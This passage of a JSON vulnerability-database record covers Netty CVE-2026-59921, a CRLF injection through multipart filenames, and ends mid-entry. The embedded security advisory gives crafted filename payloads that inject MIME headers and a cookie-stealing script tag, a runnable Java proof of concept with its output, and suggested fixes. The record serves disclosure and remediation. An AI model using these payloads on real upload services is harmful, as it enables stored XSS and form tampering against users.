m-7mv9","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42581","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xxqh-mfjm-7mv9","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42584.json","tags":["web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42584","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42584.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42584","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-57rv-r2g8-2cj3","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42585.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42585","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-38f8-5428-x5cv","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json","tags":["web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41951","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50085","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42587","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42587.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42587","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-f6hv-jmp6-3vwv","tags":["advisory"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.135.Final","tags":["web"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.15.Final","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/50xxx/CVE-2026-50020.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-hvcg-qmg6-jm4c","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50020","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hvcg-qmg6-jm4c","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55831.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55831","tags":["advisory"]},{"url":"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b","tags":["fix"]},{"url":"https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6","tags":["fix"]},{"url":"https://github.com/advisories/GHSA-6jqx-86gh-f27w","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55833.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55833","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mvh2-crg5-v77c","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56745.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56745","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-jppx-w49h-x2qq","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56746.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56746","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6cqp-g7gg-8hr5","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59898.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59898","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4mp9-239f-g9hg","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59899.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59899","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q4f6-jm68-57ww","tags":["advisory"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.137.Final","tags":["web"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.17.Final","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59903.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-8c42-7qj2-3j46","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59903","tags":["advisory"]},{"url":"https://github.com/netty/netty/pull/17213","tags":["fix"]},{"url":"https://github.com/netty/netty/pull/17217","tags":["fix"]},{"url":"https://github.com/advisories/GHSA-8c42-7qj2-3j46","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263482-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1271435","tags":["report"]},{"url":"https://bugzilla.suse.com/1271960","tags":["report"]},{"url":"https://bugzilla.suse.com/1271961","tags":["report"]},{"url":"https://bugzilla.suse.com/1272253","tags":["report"]},{"url":"https://bugzilla.suse.com/1272254","tags":["report"]},{"url":"https://bugzilla.suse.com/1272255","tags":["report"]},{"url":"https://bugzilla.suse.com/1272257","tags":["report"]},{"url":"https://bugzilla.suse.com/1272258","tags":["report"]},{"url":"https://bugzilla.suse.com/1272259","tags":["report"]},{"url":"https://bugzilla.suse.com/1272299","tags":["report"]},{"url":"https://bugzilla.suse.com/1272300","tags":["report"]},{"url":"https://bugzilla.suse.com/1272301","tags":["report"]},{"url":"https://bugzilla.suse.com/1272302","tags":["report"]},{"url":"https://bugzilla.suse.com/1272303","tags":["report"]},{"url":"https://bugzilla.suse.com/1272304","tags":["report"]},{"url":"https://bugzilla.suse.com/1272305","tags":["report"]},{"url":"https://bugzilla.suse.com/1272306","tags":["report"]},{"url":"https://bugzilla.suse.com/1272307","tags":["report"]},{"url":"https://bugzilla.suse.com/1272518","tags":["report"]},{"url":"https://bugzilla.suse.com/1272519","tags":["report"]},{"url":"https://bugzilla.suse.com/1272603","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55831","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55851","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56745","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56746","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56817","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56819","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56820","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56822","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59898","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59899","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59900","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59901","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59919","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59921","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-59921","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59921","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-59921","title":"Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder","description":"Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-28T22:28:51.267Z","modified":"2026-07-29T17:32:31.931Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:19:58.944663Z"}],"euvd":[{"id":"EUVD-2026-50089","description":"Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-28T22:28:51Z","modified":"2026-07-29T17:32:31Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T18:02:29.807737Z"}],"ghsa":[{"id":"GHSA-gcjf-9mgh-3p7g","title":"Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder","description":"# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-http` module are affected:\n\n- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688)\n- `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78)\n- `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60)\n- `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62)\n\n## 3. Vulnerability Description\n\nNetty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\\r\\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.\n\n### Root Cause\n\nIn `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:\n\n```java\n// Line 674 (attachment mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \"\n    + HttpHeaderValues.ATTACHMENT + \"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Lines 686-688 (form-data mode):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + fileUpload.getName() + \"\\\"; \"\n    + HttpHeaderValues.FILENAME + \"=\\\"\" + fileUpload.getFilename() + \"\\\"\\r\\n\");\n//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION\n\n// Line 519 (attribute name):\ninternal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + \": \" + HttpHeaderValues.FORM_DATA + \"; \"\n    + HttpHeaderValues.NAME + \"=\\\"\" + attribute.getName() + \"\\\"\\r\\n\");\n//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION\n```\n\nThe `setFilename()` method in all `FileUpload` implementations only checks for null:\n\n```java\n// DiskFileUpload.java:77-79\npublic void setFilename(String filename) {\n    this.filename = ObjectUtil.checkNotNull(filename, \"filename\");\n    // NO CRLF VALIDATION\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the same pattern as:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |\n\nThe multipart encoder has **no equivalent validation** for filenames or field names.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests\n2. The filename of an uploaded file is derived from user-controlled input\n3. The application does **not** perform its own CRLF sanitization on filenames\n\n**Common affected patterns**:\n- File upload proxies that forward user-supplied filenames\n- API gateways that construct multipart requests from incoming parameters\n- Microservice communication that passes filenames between services\n- Testing/automation frameworks that use Netty HTTP client with user-defined filenames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Content-Type Override via Filename Injection\n\nAn attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:\n\n```java\nString maliciousFilename = \"photo.jpg\\\"\\r\\nContent-Type: text/html\\r\\n\\r\\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\r\\n--\";\n\nDiskFileUpload upload = new DiskFileUpload(\n    \"avatar\", maliciousFilename, \"image/jpeg\", \"binary\", UTF_8, fileSize);\n```\n\n**Wire format:**\n```\n--boundary\ncontent-disposition: form-data; name=\"avatar\"; filename=\"photo.jpg\"\nContent-Type: text/html                    \u003c-- INJECTED: overrides image/jpeg\n\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e    \u003c-- INJECTED: XSS payload\n--\"\ncontent-type: image/jpeg                   \u003c-- Original (now ignored by many parsers)\n...\n```\n\nIf the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.\n\n### Scenario 2: Arbitrary MIME Header Injection\n\n```java\nString filename = \"doc.pdf\\\"\\r\\nX-Custom-Auth: admin-token-12345\\r\\nX-Bypass-Check: true\";\n```\n\nInjects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.\n\n### Scenario 3: Multipart Boundary Confusion\n\n```java\nString filename = \"file.txt\\\"\\r\\n\\r\\nmalicious body content\\r\\n--boundary\\r\\nContent-Disposition: form-data; name=\\\"secret\";\n```\n\nBy injecting a new boundary delimiter, the attacker can:\n- Terminate the current body part prematurely\n- Start a new body part with a different field name\n- Override form fields processed by the server\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.handler.codec.http.*;\nimport io.netty.handler.codec.http.multipart.*;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: HTTP Multipart Content-Disposition Header Injection via Filename\n *\n * Demonstrates that HttpPostRequestEncoder does not validate filenames\n * for CRLF characters, allowing injection of arbitrary MIME headers\n * into multipart form data.\n */\npublic class MultipartFilenameInjectionPoC {\n\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty Multipart Filename CRLF Injection PoC ===\\n\");\n\n        testFilenameInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    static void testFilenameInjection() throws Exception {\n        System.out.println(\"[TEST 1] Filename CRLF Injection in Content-Disposition\");\n        System.out.println(\"-------------------------------------------------------\");\n\n        // Create a temporary file for upload\n        File tempFile = File.createTempFile(\"test\", \".txt\");\n        tempFile.deleteOnExit();\n        try (FileWriter fw = new FileWriter(tempFile)) {\n            fw.write(\"test content\");\n        }\n\n        // Malicious filename with CRLF to inject Content-Type header\n        String maliciousFilename =\n            \"innocent.txt\\\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\" +\n            \"\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\";\n\n        HttpRequest request = new DefaultHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.POST, \"/upload\");\n\n        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(\n                new DefaultHttpDataFactory(false), request, true,\n                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);\n\n        DiskFileUpload fileUpload = new DiskFileUpload(\n                \"file\", maliciousFilename, \"application/octet-stream\",\n                \"binary\", StandardCharsets.UTF_8, tempFile.length());\n        fileUpload.setContent(tempFile);\n\n        encoder.addBodyHttpData(fileUpload);\n        encoder.finalizeRequest();\n\n        // Read the encoded multipart body\n        StringBuilder body = new StringBuilder();\n        while (!encoder.isEndOfInput()) {\n            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());\n            if (chunk != null) {\n                body.append(chunk.content().toString(StandardCharsets.UTF_8));\n                chunk.release();\n            }\n        }\n        encoder.cleanFiles();\n\n        String encoded = body.toString();\n        System.out.println(\"Malicious filename: \" +\n            maliciousFilename.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\"));\n        System.out.println();\n        System.out.println(\"Encoded multipart body:\");\n        System.out.println(\"---\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"---\");\n\n        boolean hasInjectedHeader = encoded.contains(\"X-Injected: true\");\n        boolean hasInjectedScript = encoded.contains(\"\u003cscript\u003e\");\n        System.out.println();\n        System.out.println(\"Injected X-Injected header: \" + hasInjectedHeader);\n        System.out.println(\"Injected script tag: \" + hasInjectedScript);\n        System.out.println(\"VULNERABLE: \" +\n            ((hasInjectedHeader || hasInjectedScript) ?\n                \"YES - MIME header injection!\" : \"NO\"));\n\n        tempFile.delete();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests)\n./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \\\n  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \\\n  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \\\n  -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" MultipartFilenameInjectionPoC.java\njava -cp \"$JARS:.\" MultipartFilenameInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Multipart Filename CRLF Injection PoC ===\n\n[TEST 1] Filename CRLF Injection in Content-Disposition\n-------------------------------------------------------\nMalicious filename: innocent.txt\"\\r\\nContent-Type: text/html\\r\\nX-Injected: true\\r\\n\\r\\n\u003cscript\u003ealert(1)\u003c/script\u003e\\r\\n--\n\nEncoded multipart body:\n---\n  --88aaade41dbb9f9f\\r\n  content-disposition: form-data; name=\"file\"; filename=\"innocent.txt\"\\r\n  Content-Type: text/html\\r                          \u003c-- INJECTED\n  X-Injected: true\\r                                 \u003c-- INJECTED\n  \\r\n  \u003cscript\u003ealert(1)\u003c/script\u003e\\r                        \u003c-- INJECTED XSS\n  --\"\\r\n  content-length: 12\\r\n  content-type: application/octet-stream\\r\n  content-transfer-encoding: binary\\r\n  \\r\n  test content\\r\n  --88aaade41dbb9f9f--\\r\n---\n\nInjected X-Injected header: true\nInjected script tag: true\nVULNERABLE: YES - MIME header injection!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens |\n| **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |\n| **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content |\n| **Stored XSS** | Inject `\u003cscript\u003e` tags via Content-Type override when uploaded files are served back |\n| **Form Field Override** | Inject new multipart boundaries to create/override form fields |\n| **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in FileUpload.setFilename() (Recommended)\n\n```java\n// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java\npublic void setFilename(String filename) {\n    ObjectUtil.checkNotNull(filename, \"filename\");\n    for (int i = 0; i \u003c filename.length(); i++) {\n        char c = filename.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new IllegalArgumentException(\n                \"filename contains prohibited CRLF character at index \" + i);\n        }\n    }\n    this.filename = filename;\n}\n```\n\n### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)\n\nEscape or reject CRLF characters when building Content-Disposition headers:\n\n```java\n// HttpPostRequestEncoder.java - add helper method\nprivate static String sanitizeHeaderParam(String value) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == '\\r' || c == '\\n' || c == '\"') {\n            throw new ErrorDataEncoderException(\n                \"Multipart parameter contains prohibited character at index \" + i);\n        }\n    }\n    return value;\n}\n\n// Then use in Content-Disposition construction:\ninternal.addValue(... + \"=\\\"\" + sanitizeHeaderParam(fileUpload.getFilename()) + \"\\\"\\r\\n\");\n```\n\n### Option 3: RFC 2231/5987 Encoding for Filenames\n\nUse proper RFC 2231 encoding for filenames with special characters:\n\n```java\n// Encode filename per RFC 5987:\n// filename*=UTF-8''encoded%20filename\nString encodedFilename = \"UTF-8''\" + URLEncoder.encode(filename, \"UTF-8\");\ninternal.addValue(... + \"filename*=\" + encodedFilename + \"\\r\\n\");\n```\n\n## 9. References\n\n- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183)\n- [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578)\n- [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)","status":"published","published":"2026-07-22T21:52:55Z","modified":"2026-07-22T21:52:59Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:40:51.375752Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2023-11-06T22:08:37Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:15.055009Z"}],"nvd":[{"id":"CVE-2026-59921","description":"Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-28T23:17:09.923Z","modified":"2026-08-07T15:05:47.99Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:12:33.629616Z"}],"osv":[{"id":"CVE-2026-59921","title":"Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder","description":"Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-28T22:28:51.267Z","modified":"2026-10-28T02:30:52.514566251Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"DEBIAN-CVE-2026-59921","description":"Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-28T23:17:09.923Z","modified":"2026-10-01T03:03:28.608839831Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-gcjf-9mgh-3p7g","title":"Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder","description":"# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) |\n| **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |\n| **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |\n| **CVSS 3.1 Score** | **8.1 (High)** |\n| **CVSS 3.1 Vector** | 